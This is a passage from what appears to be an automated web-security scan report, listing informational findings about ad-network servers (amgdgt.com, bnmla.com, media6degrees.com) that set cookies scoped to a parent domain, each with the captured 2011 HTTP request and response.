Path:	/ads/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

UA=AAAAAQAUH.VotNJ1n8SbPh5Pokuea4WE_LkDA3gBY2BgEGFgWnCTgSW7hYGR9ycDww03BgYGTgYGRv1b3J8WQuXagHLfgXIuCLkFAVC5VqDcD6CcK0zuatrJzzjlUt8w4DLzyL8FVrj0bfLozMClb.PNuMlQOQw_bDS_aYJTn3m6Pm45CaA7O5cAw6UZ6L9fQP.5w_w3ST_CHyqH4fdejm3eUDkMt_RyuPTjkuvIjjmFUy7J7TpOuQivazjl_CaE4JRzbeCAymHEbYeE.22c.iTstIHhwIhLvr2yWwgoz.B7ooGBgYuBYbk5EwMjIyMDQ.AtRiEgxbmTUQBIMRgIMjAz8jExMjOyMLIysjGyM3IwcjJyMXIz8jDyMvIx8oOVsWQyigJVLy0A61UwgwiGMIkyigGF5Xfx4Na62B1sLTQVg5zEAACb0pV5; Domain=.amgdgt.com; Expires=Thu, 09-Jun-2011 13:15:06 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /ads/?t=i&f=j&p=5112&pl=bca52e1b&rnd=34133460070006548&clkurl=http://ib.adnxs.com/click/E65H4XoU_j8UrkfhehT-PwAAAMDMzAhAzczMzMzMCEDNzMzMzMwIQGZ9jiOYn1IiSsYda6b2ziVQOslNAAAAABUbAAC1AAAAlgIAAAIAAADGpAIA0WMAAAEAAABVU0QAVVNEAKAAWAK1GHIAaw8BAgUCAAQAAAAA6yXrgQAAAAA./cnd=!Hx5TeAj25QIQxskKGAAg0ccBMAA4tTFAAEiWBVAAWABg2gFoAHBmeK6yAYAB-ASIAQCQAQGYAQGgAQOoAQOwAQG5AQAAAMDMzAhAwQEAAADAzMwIQMkBLpEfs4Wmzj_QAQA./referrer=http%3A%2F%2Fwww.androidcentral.com%2Fandroid-central-google-io-2011/clickenc=http%3A%2F%2Fgoogleads.g.doubleclick.net%2Faclk%3Fsa%3Dl%26ai%3DBf3bGUDrJTeuUBpy96Qaxg9CJDtfq-NMBn6CU7Bjrwu3UHAAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi05OTE0OTkyOTE0OTEwODQ3oAHD8v3sA7IBFnd3dy5hbmRyb2lkY2VudHJhbC5jb226AQoxNjB4NjAwX2FzyAEJ2gE8aHR0cDovL3d3dy5hbmRyb2lkY2VudHJhbC5jb20vYW5kcm9pZC1jZW50cmFsLWdvb2dsZS1pby0yMDExmALYDsACBMgChdLPCqgDAegDjgjoA68I6APoBOgDkwn1AwAAAMSABui3zqrBjrKG0QE%26num%3D1%26sig%3DAGiWqtyOoJBSiBmtTRbTJV4donmL9AvWAg%26client%3Dca-pub-9914992914910847%26adurl%3D HTTP/1.1
Host: ad.amgdgt.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ID=AAAAAQAU6fB5bLIqJTbWvlzW3Ft0OcZJYxcAANGoPMSHa0D5h6539_dUjA0AAAEvZiIaJw--; LO=AAAAAQAUYn__ZmG8acLIZhvDLvm3d2V86m4BAHVzYTt2dDs1MjM7c3Rvd2U7MDU2NzI7c29mdGxheWVyIHRlY2hub2xvZ2llcyBpbmMuO2Jyb2FkYmFuZDsxNzMuMTkzLjIxNC4yNDM-; UA=AAAAAQAUSZu6kxBfrcinfLx2tADu82zZwNsDA3gBY2BgEGFgWnCTgSW7jYGR9zsDww0XBgYGTgYGRv1b3AsCoHKtQLkfQDlXmNzVtJOfccqlvmHAZeaRfwuscOnb5NGZgUvfxptxk6FyLUC3_AS6xQ3mlo3mN01w6jNP18ctJwF0Z.cSoN.bgWb.AprpDjNzkn6EP1QOw..9HNu8oXIYbunlcOnHJdeRHXMKp1yS23WcchFe13DK.U0IwSnn2sABlcOI2w4J99s49UnYaePS135y5yZgGDHi0tte2S0ElGfwPdHAwMDFwLDcnImBkZGRgSHwFqMQkOLcySgApBgMBBmYGBmZ.JgZWRhZGdkY2Rk5GDkZuRi5GXkYeRn5GPnBylgyGUWBqpcWgPUqmEEEQ5hEGcWAwvK7eHBrXewOthaaikFOYgAA3xKUyg--

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: UA=AAAAAQAUH.VotNJ1n8SbPh5Pokuea4WE_LkDA3gBY2BgEGFgWnCTgSW7hYGR9ycDww03BgYGTgYGRv1b3J8WQuXagHLfgXIuCLkFAVC5VqDcD6CcK0zuatrJzzjlUt8w4DLzyL8FVrj0bfLozMClb.PNuMlQOQw_bDS_aYJTn3m6Pm45CaA7O5cAw6UZ6L9fQP.5w_w3ST_CHyqH4fdejm3eUDkMt_RyuPTjkuvIjjmFUy7J7TpOuQivazjl_CaE4JRzbeCAymHEbYeE.22c.iTstIHhwIhLvr2yWwgoz.B7ooGBgYuBYbk5EwMjIyMDQ.AtRiEgxbmTUQBIMRgIMjAz8jExMjOyMLIysjGyM3IwcjJyMXIz8jDyMvIx8oOVsWQyigJVLy0A61UwgwiGMIkyigGF5Xfx4Na62B1sLTQVg5zEAACb0pV5; Domain=.amgdgt.com; Expires=Thu, 09-Jun-2011 13:15:06 GMT; Path=/
Expires: Thu, 01 Jan 1970 00:00:01 GMT
Cache-Control: no-cache, no-store
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Content-Type: text/javascript;charset=UTF-8
Content-Length: 4126
Date: Tue, 10 May 2011 13:15:06 GMT

_289668_amg_acamp_id=172249;
_289668_amg_pcamp_id=69113;
_289668_amg_location_id=55366;
_289668_amg_creative_id=289668;
_289668_amg_loaded=true;
var _amg_289668_content='<script type="text/javascript"
...[SNIP]...

12.17. http://ad.bnmla.com/serve previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.bnmla.com
Path:	/serve

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

ij=eNqrVlAysjQ2tlBSsFKIVjDUUTA0NjA1MDY2MzFSiFWoBQBkgwZw;path=/;domain=.bnmla.com;expires=Wednesday, 30-Dec-2036 16:00:00 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /serve?pid=563&cb=456064623&noe=1&zid=3621&click=http%3A//ad.doubleclick.net/click%253Bh%253Dv8/3b03/3/0/%252a/w%253B239983083%253B0-0%253B0%253B28217125%253B4307-300/250%253B40891622/40909409/1%253Bu%253D300x250%7Cbpage%7Cmid_article%7C2012-election%252C@mostpopular%252Crick-santorum%252Celections-2012%252Crick-santorum-for-president%252Csantorum-for-president%252Crick-santorum-2012%252Crick-santorum-south-carolina-straw-poll%252Csantorum-2012%252Csouth-carolina-primary-election%252Csouth-carolina-%253B%257Eokv%253D%253Bfeatured-posts%253D1%253Bpolitics%253D1%253B%253Bentry_id%253D859012%253B2012-election%253D1%253B@mostpopular%253D1%253Brick-santorum%253D1%253Belections-2012%253D1%253Brick-santorum-for-president%253D1%253Bsantorum-for-president%253D1%253Brick-santorum-2012%253D1%253Brick-santorum-south-carolina-straw-poll%253D1%253Bsantorum-2012%253D1%253Bsouth-carolina-primary-election%253D1%253Bsouth-carolina-straw-poll%253D1%253Bsouth-carolina-straw-poll-2011%253D1%253Bsouth-carolina-straw-poll-results%253D1%253Bglobal%253D1%253Bcap_12%253Dn%253Bqcs%253DD%253Bqcs%253DT%253Bqcs%253D2689%253Bqcs%253D2687%253Bqcs%253D2685%253Bqcs%253D1908%253Bqcs%253D1905%253Bqcs%253D1592%253Bqcs%253D683%253Bqcs%253D680%253Bqcs%253D679%253Bqcs%253D678%253Bqcs%253D666%253Bqcs%253D665%253Bqcs%253B%257Eaopt%253D2/1/ff/1%253B%257Esscs%253D%253f HTTP/1.1
Host: ad.bnmla.com
Proxy-Connection: keep-alive
Referer: http://www.huffingtonpost.com/2011/05/07/rick-santorum-south-carolina-straw-poll_n_859012.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:20:42 GMT
Server: Apache/2.2.11 (Ubuntu) PHP/5.2.6-3ubuntu4.6 with Suhosin-Patch mod_ssl/2.2.11 OpenSSL/0.9.8g
Set-Cookie: ij=eNqrVlAysjQ2tlBSsFKIVjDUUTA0NjA1MDY2MzFSiFWoBQBkgwZw;path=/;domain=.bnmla.com;expires=Wednesday, 30-Dec-2036 16:00:00 GMT
Set-Cookie: imp=;path=/;domain=.bnmla.com;expires=Wednesday, 30-Dec-2036 16:00:00 GMT
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Length: 2051
Connection: close
Content-Type: text/plain

document.write('<iframe allowtransparency="true" src="http://ad.bnmla.com/serve?st=1&pid=563&zid=3621&aid=29338&cid=506&ne=1&click=http%3A//ad.doubleclick.net/click%253Bh%253Dv8/3b03/3/0/%252a/w%253B2
...[SNIP]...

12.18. http://ad.media6degrees.com/adserv/cs previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.media6degrees.com
Path:	/adserv/cs

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

adh=1lkkxr816054tmb012v701QWYNRLUMp00egcp4tm3012v701QWJzhCSHC00egcf52rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 13:14:21 GMT; Path=/
clid=2ljtllp01170xrd52zkwjuxh15si80183m030k0b50u; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 13:14:21 GMT; Path=/
rdrlst=43c0pahlkze3o000000023m02157rlklhm40000000f3m03144qlkze3o000000023m02157olkxlm50000000a3m0313y7lkze3o000000023m0215sklkkpqq0000000n3m030hsnlkze3o000000023m0212nslkxrxz000000043m030x1blkkpqq0000000n3m030hsplkkpqq0000000n3m0312gdlkkyy00000000j3m030morlkkxrb0000000k3m0314k6lkxlm50000000a3m030w35lkze3o000000023m0213pylkze3o000000023m0214rwlkxlm50000000a3m0314khlkxlm50000000a3m031196lkkkbe0000000t3m0313x4lkxrxz000000043m031195lkkpqh0000000o3m031194lkkjj40000000u3m030dlxlkb5u20000000y3m0316nulkxlm50000000a3m031193lkkplo0000000q3m030p46lkkpqq0000000n3m031192lkkpke0000000s3m03008slklhm40000000f3m0316oilkxlm50000000a3m030moylkl0r50000000g3m03144elkze3o000000023m0212ftlkxrxz000000043m0310poljyxb4000000153m030e6llkl0r50000000g3m03138olkxrxz000000043m0316dnlkze3o000000023m02167ulkxq41000000053m0314qllkxlm50000000a3m03159olk8fax000000103m0315halkxlm50000000a3m030m0ulkl0r50000000g3m030m0plkkxrb0000000k3m0316e6lkxnbq000000093m0314xnlkxlm50000000a3m03167blkl0r50000000g3m0316dxlkze3o000000023m021391lkxrxz000000043m031672lkkxrb0000000k3m030ycrlkncow0000000e3m03158mlkze3o000000023m020okclkze3o000000023m0213lelkxrxz000000043m0313yolkze3o000000023m02137rlkkpqq0000000n3m030ojulkze3o000000023m021240lkxrxz000000043m0314ozlkxlm50000000a3m0314bmlkxrxz000000043m0314j7lkxlm50000000a3m0314bzlkxlm50000000a3m030ni1lkb5u20000000y3m0311pjlkxrxz000000043m030p01lkze3o000000023m0215holkxlm50000000a3m030m7alkkxrb0000000k3m0313mklkxrxz000000043m030m7flkkyyl0000000i3m03101ulkze3o000000023m020zoklkze3o000000023m0212zglkxrxz000000043m0313lxlkxrxz000000043m030zp4lkze3o000000023m02148ilkxlm50000000a3m030xvclkze3o000000023m0212yxlkxrxz000000043m0315iglkxq0l000000063m0316s2lkxpyu000000073m0314hplkxlm50000000a3m030znmlk3462000000133m0314hclkxlm50000000a3m030wd7lkze3o000000023m02102plkxrxz000000043m0310tylkkpku0000000r3m030p1blkb5u20000000y3m030p1alkze3o000000023m0200bvlk9pe80000000z3m0315xylk60qe000000123m0310lxlkxrxz000000043m03103blkxrxz000000043m0310telkd7nq0000000x3m0316rslkxppm000000083m030c9slk9pe80000000z3m0313mxlkze3o000000023m0212emlkze3o000000023m0210rdlkdkly0000000v3m03126qlkxrxz000000043m030mj2lkkxrb0000000k3m030kualkkpqq0000000n3m03163plkxlm50000000a3m030z9xlkze3o000000023m020m45lkl0r50000000g3m030m40lkkxrb0000000k3m030zqylkxrxz000000043m030mjelkkxrb0000000k3m0312qnlkkplt0000000p3m030ovslkze3o000000023m0212x6lkxrxz000000043m030bo8lkb5u20000000y3m0314e9lkze3o000000023m020mjjlkl0r50000000g3m030lw5lkb5u20000000y3m0316aulkze3o000000023m0215k9lkxlm50000000a3m0316atlkxlm50000000a3m031203lkb5u20000000y3m03163clkxlm50000000a3m031204lkkyy00000000j3m030afqlkze3o000000023m020o0vlkkpqx0000000m3m030z2ilkkxrb0000000k3m0313ovlkxrxz000000043m03; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 13:14:21 GMT; Path=/
sglst=2280sbpelkxlm50000000a3m030k0a50adsnlkxlm5006bu00a3m030k0a50aarllkxlm5006bu00a3m030k0a50acg5lkxlm5006bu00a3m030k0a50a9rslkkpke0d2dl00s3m030k0b50sam5lkkxr8002zw00l3m030k0b50lcd4lkxlm5006bu00a3m030k0a50acrglkxlm5006bu00a3m030k0a50acnolkxlm5006bu00a3m030k0a50aabelkxlm5006bu00a3m030k0a50add8lkxlm5006bu00a3m030k0a50acy2lkxlm5006bu00a3m030k0a50aaoplkb5u209jqc0063e000j00500cnxlkxlm50000000a3m030k0a50abq3lkxlm5006bu00a3m030k0a50abvplkxlm5006bu00a3m030k0a50aaoilkxlm5006bu00a3m030k0a50a942lkb5u20mfs300o3l000k005008ndlkb5u20mfs300o3l000k005009ullkxlm5006bu00a3m030k0a50abvclkxlm5006bu00a3m030k0a50ac5flkxlm5006bu00a3m030k0a50a56blkb5u20mfs300o3l000k00500bjqlkxlm5006bu00a3m030k0a50aawklkxlm5006bu00a3m030k0a50aasulkb5u209jqc0063e000j00500crplkxlm5006bu00a3m030k0a50aasqlkxlm5006bu00a3m030k0a50ac5rlkov6e0000000d3m030k0b50daw8lkxlm5006bu00a3m030k0a50ac60lkxlm5006bu00a3m030k0a50adc4lkxlm5006bu00a3m030k0a50ad26lkxlm5006bu00a3m030k0a50adnjlkxlm5006bu00a3m030k0a50abrilkxlm5006bu00a3m030k0a50acbclkxlm5006bu00a3m030k0a50ac85lkxlm5006bu00a3m030k0a50acsslkxlm5006bu00a3m030k0a50ac80lkb5u209jqc0063e000j00500ag2lkd7nq0m6g700x3m030k0b50uc1elkxlm5006bu00a3m030k0a50ac81lkkpke0cw1r00i3l000k005009grlkxlm5006bu00a3m030k0a50ac8flkxlm5006bu00a3m030k0a50aa6slkkpke0cw1r00i3l000k00500dnalkxlm5006bu00a3m030k0a50a9z6lkxlm50000000a3m030k0a50adbtlkxlm5006bu00a3m030k0a50adyllkxlm5006bu00a3m030k0a50a0kllklhm40c4010053l000k005009q4lkxlm5006bu00a3m030k0a50a9q5lkb5u20mfs300o3l000k00500b3zlkxlm5006bu00a3m030k0a50a0t7ljyxb410gst0153m030k0b50udgflkkpke0d2dl00s3m030k0b50s9mjlkxlm50000000a3m030k0a50abo0lkb5u20mm3x00y3m030k0b50ubo1lkkyy00cmo50093l000k005009pglkxlm5006bu00a3m030k0a50acwalkxlm5006bu00a3m030k0a50ad86lklhm40c4010053l000k00500d84lkxlm5006bu00a3m030k0a50adqllkxlm5006bu00a3m030k0a50adz3lkxlm5006bu00a3m030k0a50acm6lkxlm5006bu00a3m030k0a50acxdlkxlm5006bu00a3m030k0a50a719lkb5u20mm3x00g3m030k0a50b71alkkpke0cw1r00i3l000k00500ctplkxlm5006bu00a3m030k0a50acc3lkxlm5006bu00a3m030k0a50adgilkb5u209jqc0063e000j00500cthlkxlm5006bu00a3m030k0a50a4wclkb5u20mm3x00g3m030k0a50b8eklkkpke0cw1r00i3l000k005005mrlkb5u20mfs300o3l000k00500a0ulkxlm5006bu00a3m030k0a50aarilkxlm50000000a3m030k0a50abwjlkkyy00cszz00j3m030k0b50jcbplkxlm5006bu00a3m030k0a50a9gelkxlm5006bu00a3m030k0a50a; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 13:14:21 GMT; Path=/
vstcnt=417k010r164slly127p10f24exp6103210e24tc6l103210e249v4u10pj10e24ru4y103210722te10tq10a24f69z103210f24tmhw103210924n86o103210d24pq44103210a24eflo218e104203210724na8i103210e24eyja103210e24mqca103210e24nsyl103210f24jxig103210f24f9wk103210i24fvio218e20e20f203210f24uzpw118e10f24l16a118e10f24fz24103210924e8bw103210824fsuv103210924fduc218e10a203210e24dret103210724uzdp103210b24gqhl103210923sti21hj10a203210e24cnyl103210g24styu10321092451gt10pj10e24fj52103210924o2lt103210a24nnav103210f24m1v2103210a24f7qr218e108203210924uzg6218e100203210024fgv9218e108203210a24tfmw103210b24hqyp103210i24kd6k103210c23l4f103210a2; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 13:14:21 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /adserv/cs?tId=4602020164879145|cb=1305033257|adType=iframe|cId=5902|ec=1|spId=30812|advId=1209|exId=21|price=2.133250|pubId=625|secId=414|invId=3715|notifyServer=asd163.sd.pl.pvt|notifyPort=8080|bid=1.75|srcUrlEnc=http%3A%2F%2Fletters.salon.com%2Fpolitics%2Fwar_room%2F2011%2F05%2F09%2Fsantorum_loser%2Fview%2F HTTP/1.1
Host: ad.media6degrees.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/607/salonmedia/160x600/default_criteo?t=1305033247523&tz=300&m=0&hu=&ht=js&hp=0&fo=&url=http%3A%2F%2Fletters.salon.com%2Fpolitics%2Fwar_room%2F2011%2F05%2F09%2Fsantorum_loser%2Fview%2F&refer=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipinfo=2lkkjj40zijsvn5yhbqbe90httd3GK520752HF6QnyynflFbsgYnlreGrpuabybtvrf00; acs=016020a0e0f0g0h1ljtllpxzt1146caxzt1tr37xzt1tr37xzt1146caxzt113zye; adh=1lkkxr816044tm3012v701QWJzhCSHC00egcf52rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; clid=2ljtllp01170xrd52zkwjuxh15shz0173m020k0a50t; rdrlst=43c157rlklhm40000000e3m020pahlkze3o000000013m01157olkxlm5000000093m02144qlkze3o000000013m0113y7lkze3o000000013m010hsnlkze3o000000013m0115sklkkpqq0000000m3m020x1blkkpqq0000000m3m0212nslkxrxz000000033m020hsplkkpqq0000000m3m0212gdlkkyy00000000i3m020morlkkxrb0000000j3m0214k6lkxlm5000000093m020w35lkze3o000000013m0113pylkze3o000000013m0114rwlkxlm5000000093m0214khlkxlm5000000093m021196lkkkbe0000000s3m0213x4lkxrxz000000033m021195lkkpqh0000000n3m021194lkkjj40000000t3m020dlxlkb5u20000000x3m0216nulkxlm5000000093m021193lkkplo0000000p3m02008slklhm40000000e3m021192lkkpke0000000r3m020p46lkkpqq0000000m3m020moylkl0r50000000f3m0216oilkxlm5000000093m02144elkze3o000000013m0110poljyxb4000000143m0212ftlkxrxz000000033m020e6llkl0r50000000f3m0216dnlkze3o000000013m01138olkxrxz000000033m02167ulkxq41000000043m02159olk8fax0000000z3m0214qllkxlm5000000093m0215halkxlm5000000093m020m0ulkl0r50000000f3m020m0plkkxrb0000000j3m0216e6lkxnbq000000083m0214xnlkxlm5000000093m02167blkl0r50000000f3m0216dxlkze3o000000013m011391lkxrxz000000033m021672lkkxrb0000000j3m020ycrlkncow0000000d3m02158mlkze3o000000013m010okclkze3o000000013m0113lelkxrxz000000033m0213yolkze3o000000013m01137rlkkpqq0000000m3m020ojulkze3o000000013m011240lkxrxz000000033m0214ozlkxlm5000000093m0214bmlkxrxz000000033m0214j7lkxlm5000000093m0214bzlkxlm5000000093m020ni1lkb5u20000000x3m0211pjlkxrxz000000033m020p01lkze3o000000013m0115holkxlm5000000093m020m7alkkxrb0000000j3m0213mklkxrxz000000033m020m7flkkyyl0000000h3m02101ulkze3o000000013m010zoklkze3o000000013m0112zglkxrxz000000033m0213lxlkxrxz000000033m020zp4lkze3o000000013m01148ilkxlm5000000093m020xvclkze3o000000013m0112yxlkxrxz000000033m0215iglkxq0l000000053m0216s2lkxpyu000000063m0214hplkxlm5000000093m020znmlk3462000000123m0214hclkxlm5000000093m020wd7lkze3o000000013m01102plkxrxz000000033m0210tylkkpku0000000q3m020p1blkb5u20000000x3m020p1alkze3o000000013m0100bvlk9pe80000000y3m0215xylk60qe000000113m0210lxlkxrxz000000033m02103blkxrxz000000033m0210telkd7nq0000000w3m0216rslkxppm000000073m020c9slk9pe80000000y3m0213mxlkze3o000000013m0112emlkze3o000000013m0110rdlkdkly0000000u3m02126qlkxrxz000000033m020mj2lkkxrb0000000j3m020kualkkpqq0000000m3m02163plkxlm5000000093m020z9xlkze3o000000013m010m45lkl0r50000000f3m020m40lkkxrb0000000j3m020zqylkxrxz000000033m020mjelkkxrb0000000j3m0212qnlkkplt0000000o3m020ovslkze3o000000013m0114e9lkze3o000000013m010bo8lkb5u20000000x3m0212x6lkxrxz000000033m020mjjlkl0r50000000f3m020lw5lkb5u20000000x3m0216aulkze3o000000013m0116atlkxlm5000000093m0215k9lkxlm5000000093m021203lkb5u20000000x3m021204lkkyy00000000i3m02163clkxlm5000000093m020afqlkze3o000000013m010o0vlkkpqx0000000l3m020z2ilkkxrb0000000j3m0213ovlkxrxz000000033m02; sglst=2280sbpelkxlm5000000093m020k09509dsnlkxlm5006bu0093m020k09509arllkxlm5006bu0093m020k09509cg5lkxlm5006bu0093m020k095099rslkkpke0d2dl00r3m020k0a50ram5lkkxr8002zw00k3m020k0a50kcd4lkxlm5006bu0093m020k09509crglkxlm5006bu0093m020k09509cnolkxlm5006bu0093m020k09509abelkxlm5006bu0093m020k09509dd8lkxlm5006bu0093m020k09509cy2lkxlm5006bu0093m020k09509aoplkb5u209jqc0063e000j00500cnxlkxlm5000000093m020k09509bq3lkxlm5006bu0093m020k09509aoilkxlm5006bu0093m020k09509bvplkxlm5006bu0093m020k09509942lkb5u20mfs300o3l000k005009ullkxlm5006bu0093m020k095098ndlkb5u20mfs300o3l000k00500bvclkxlm5006bu0093m020k09509c5flkxlm5006bu0093m020k0950956blkb5u20mfs300o3l000k00500bjqlkxlm5006bu0093m020k09509awklkxlm5006bu0093m020k09509asulkb5u209jqc0063e000j00500crplkxlm5006bu0093m020k09509asqlkxlm5006bu0093m020k09509c5rlkov6e0000000c3m020k0a50caw8lkxlm5006bu0093m020k09509c60lkxlm5006bu0093m020k09509dc4lkxlm5006bu0093m020k09509d26lkxlm5006bu0093m020k09509dnjlkxlm5006bu0093m020k09509brilkxlm5006bu0093m020k09509cbclkxlm5006bu0093m020k09509c85lkxlm5006bu0093m020k09509csslkxlm5006bu0093m020k09509c80lkb5u209jqc0063e000j00500ag2lkd7nq0m6fy00w3m020k0a50tc1elkxlm5006bu0093m020k09509c81lkkpke0cw1r00i3l000k005009grlkxlm5006bu0093m020k09509c8flkxlm5006bu0093m020k09509a6slkkpke0cw1r00i3l000k00500dnalkxlm5006bu0093m020k095099z6lkxlm5000000093m020k09509dbtlkxlm5006bu0093m020k095099q4lkxlm5006bu0093m020k095090kllklhm40c4010053l000k00500dyllkxlm5006bu0093m020k09509b3zlkxlm5006bu0093m020k095099q5lkb5u20mfs300o3l000k005009mjlkxlm5000000093m020k09509dgflkkpke0d2dl00r3m020k0a50r0t7ljyxb410gsk0143m020k0a50tbo0lkb5u20mm3x00x3m020k0a50tbo1lkkyy00cmo50093l000k005009pglkxlm5006bu0093m020k09509d86lklhm40c4010053l000k00500cwalkxlm5006bu0093m020k09509dqllkxlm5006bu0093m020k09509d84lkxlm5006bu0093m020k09509dz3lkxlm5006bu0093m020k09509cm6lkxlm5006bu0093m020k09509cxdlkxlm5006bu0093m020k09509719lkb5u20mm3x00f3m020k0950a71alkkpke0cw1r00i3l000k00500ctplkxlm5006bu0093m020k09509cc3lkxlm5006bu0093m020k09509dgilkb5u209jqc0063e000j00500cthlkxlm5006bu0093m020k095094wclkb5u20mm3x00f3m020k0950aa0ulkxlm5006bu0093m020k095095mrlkb5u20mfs300o3l000k005008eklkkpke0cw1r00i3l000k00500arilkxlm5000000093m020k09509cbplkxlm5006bu0093m020k09509bwjlkkyy00cszz00i3m020k0a50i9gelkxlm5006bu0093m020k09509; vstcnt=417k010r164slly127p10f24exp6103210e24tc6l103210e24ru4y1032107249v4u10pj10e22te10tq10a24tmhw103210924f69z103210f24pq44103210a24n86o103210d24eflo218e104203210724eyja103210e24na8i103210e24mqca103210e24nsyl103210f24jxig103210f24f9wk103210i24fvio218e20e20f203210f24uzpw118e10f24l16a118e10f24fz24103210924e8bw103210824fsuv103210924fduc218e10a203210e24uzdp103210b24dret103210724gqhl103210923sti21hj10a203210e2451gt10pj10e24styu103210924cnyl103210g24o2lt103210a24fj52103210924nnav103210f24m1v2103210a24f7qr218e108203210924uzg6218e100203210024fgv9218e108203210a24tfmw103210b23l4f103210a24kd6k103210c24hqyp103210i2

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: CP="COM NAV INT STA NID OUR IND NOI"
Pragma: no-cache
Cache-Control: no-cache
Set-Cookie: adh=1lkkxr816054tmb012v701QWYNRLUMp00egcp4tm3012v701QWJzhCSHC00egcf52rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 13:14:21 GMT; Path=/
Set-Cookie: clid=2ljtllp01170xrd52zkwjuxh15si80183m030k0b50u; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 13:14:21 GMT; Path=/
Set-Cookie: orblb=""; Domain=media6degrees.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rdrlst=43c0pahlkze3o000000023m02157rlklhm40000000f3m03144qlkze3o000000023m02157olkxlm50000000a3m0313y7lkze3o000000023m0215sklkkpqq0000000n3m030hsnlkze3o000000023m0212nslkxrxz000000043m030x1blkkpqq0000000n3m030hsplkkpqq0000000n3m0312gdlkkyy00000000j3m030morlkkxrb0000000k3m0314k6lkxlm50000000a3m030w35lkze3o000000023m0213pylkze3o000000023m0214rwlkxlm50000000a3m0314khlkxlm50000000a3m031196lkkkbe0000000t3m0313x4lkxrxz000000043m031195lkkpqh0000000o3m031194lkkjj40000000u3m030dlxlkb5u20000000y3m0316nulkxlm50000000a3m031193lkkplo0000000q3m030p46lkkpqq0000000n3m031192lkkpke0000000s3m03008slklhm40000000f3m0316oilkxlm50000000a3m030moylkl0r50000000g3m03144elkze3o000000023m0212ftlkxrxz000000043m0310poljyxb4000000153m030e6llkl0r50000000g3m03138olkxrxz000000043m0316dnlkze3o000000023m02167ulkxq41000000053m0314qllkxlm50000000a3m03159olk8fax000000103m0315halkxlm50000000a3m030m0ulkl0r50000000g3m030m0plkkxrb0000000k3m0316e6lkxnbq000000093m0314xnlkxlm50000000a3m03167blkl0r50000000g3m0316dxlkze3o000000023m021391lkxrxz000000043m031672lkkxrb0000000k3m030ycrlkncow0000000e3m03158mlkze3o000000023m020okclkze3o000000023m0213lelkxrxz000000043m0313yolkze3o000000023m02137rlkkpqq0000000n3m030ojulkze3o000000023m021240lkxrxz000000043m0314ozlkxlm50000000a3m0314bmlkxrxz000000043m0314j7lkxlm50000000a3m0314bzlkxlm50000000a3m030ni1lkb5u20000000y3m0311pjlkxrxz000000043m030p01lkze3o000000023m0215holkxlm50000000a3m030m7alkkxrb0000000k3m0313mklkxrxz000000043m030m7flkkyyl0000000i3m03101ulkze3o000000023m020zoklkze3o000000023m0212zglkxrxz000000043m0313lxlkxrxz000000043m030zp4lkze3o000000023m02148ilkxlm50000000a3m030xvclkze3o000000023m0212yxlkxrxz000000043m0315iglkxq0l000000063m0316s2lkxpyu000000073m0314hplkxlm50000000a3m030znmlk3462000000133m0314hclkxlm50000000a3m030wd7lkze3o000000023m02102plkxrxz000000043m0310tylkkpku0000000r3m030p1blkb5u20000000y3m030p1alkze3o000000023m0200bvlk9pe80000000z3m0315xylk60qe000000123m0310lxlkxrxz000000043m03103blkxrxz000000043m0310telkd7nq0000000x3m0316rslkxppm000000083m030c9slk9pe80000000z3m0313mxlkze3o000000023m0212emlkze3o000000023m0210rdlkdkly0000000v3m03126qlkxrxz000000043m030mj2lkkxrb0000000k3m030kualkkpqq0000000n3m03163plkxlm50000000a3m030z9xlkze3o000000023m020m45lkl0r50000000g3m